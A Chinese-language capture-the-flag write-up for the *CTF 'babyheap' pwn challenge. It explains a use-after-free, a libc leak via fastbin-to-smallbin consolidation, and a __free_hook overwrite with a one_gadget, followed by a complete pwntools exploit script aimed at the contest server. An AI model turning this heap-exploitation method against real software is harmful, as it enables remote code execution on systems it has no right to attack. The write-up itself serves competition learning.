*CTF pwn write up

　　第一次做出XCTF的题目来，感谢wjh师傅的指点，虽然只做出一道最简单的pwn题，但是还是挺开心的。此贴用来记录一下，赛后试着看看其他大师傅的wp，看看能不能再做出一道题来。

babyheap

　　程序有add、delete、show、edit功能。

　　在add函数只能创建0x10-0x60大小的chunk。

　　delete函数存在uaf漏洞。

　　show函数平平无奇。

　　edit函数只能往chunk+8的位置进行写，就是在free之后不能直接利用uaf漏洞改写fd指针。

　　还有一个函数是leavename函数，此函数创建了一个0x400大小的chunk，里面存name。

　　知识点：当存在fastbins时，申请一个比较大的chunk，会将fastbins合并放到smallbins看看大小够不够分配，如果够的话就会用这个chunk，如果不够的话，再从top chunk里面切割。这里smallbins会存放libc的一些地址，加上uaf可以leak libc。

　　思路：先把0x60的tcache填满，在搞一个fastbins，这个时候调用leavename函数，让fastbins进入smallbins，此时leak libc基地址，这个smallbins也是0x60大小，之后申请比较小的chunk，会对smallbins进行切割，这个时候，利用uaf就可以写这些比较小的chunk的fd指针，将fd改成free_hook-0x8，把chunk申请过去，修改free_hook为onegadgets，执行delete就能拿到shell了。

exp:

 1 from pwn import *
 2
 3 #p = process(['./pwn'],env={"LD_PRELOAD":"./libc.so"})
 4 #p = process('./pwn')
 5 p = remote('52.152.231.198',8081)
 6 elf = ELF('./pwn')
 7 libc = ELF('./libc.so')
 8 context(os='linux',arch='amd64',log_level='debug')
 9
10 def duan():
11     gdb.attach(p)
12     pause()
13 def add(index,size):
14     p.sendlineafter('>> \n','1')
15     p.sendlineafter('index\n',str(index))
16     p.sendlineafter('size\n',str(size))
17 def delete(index):
18     p.sendlineafter('>> \n','2')
19     p.sendlineafter('index\n',str(index))
20 def edit(index,content):
21     p.sendlineafter('>> \n','3')
22     p.sendlineafter('index\n',str(index))
23     p.sendafter('content\n',content)
24 def show(index):
25     p.sendlineafter('>> \n','4')
26     p.sendlineafter('index\n',str(index))
27 def leavename(name):
28     p.sendlineafter('>> \n','5')
29     p.sendafter('name:\n',name)
30 def showname():
31     p.sendlineafter('>> \n','6')
32
33 #og = [0x4f365,0x4f3c2,0xe58b8,0xe58bf,0xe58c3,0x10a45c,0x10a468]
34 og = [0x4f3d5,0x4f432,0x10a41c]
35
36 add(0,0x50)
37 add(1,0x50)
38 add(2,0x50)
39 add(3,0x50)
40 add(4,0x50)
41 add(5,0x50)
42 add(6,0x50)
43 add(7,0x50)
44 add(8,0x10)
45 delete(0)
46 delete(1)
47 delete(2)
48 delete(3)
49 delete(4)
50 delete(5)
51 delete(6)
52 delete(7)
53
54 leavename('bhxdn')
55 show(7)
56 libc_base = u64(p.recv(6).ljust(8,'\x00'))-176-0x10-libc.symbols['__malloc_hook']
57 print 'libc_base-->'+hex(libc_base)
58 shell = libc_base+og[1]
59 free_hook = libc_base+libc.symbols['__free_hook']
60
61 add(6,0x50)
62 add(5,0x50)
63 add(4,0x50)
64 add(3,0x50)
65 add(2,0x50)
66 add(1,0x50)
67 add(0,0x50)
68
69 add(9,0x10)
70 add(10,0x10)
71 delete(9)
72 delete(10)
73 edit(7,'aaaaaaaa'+p64(0)+p64(0x21)+p64(free_hook-0x8))
74 print 'libc_base-->'+hex(libc_base)
75 print 'free_hook-->'+hex(free_hook)
76 add(9,0x10)
77 add(10,0x10)
78 edit(10,p64(shell))
79 delete(0)
80 p.interactive()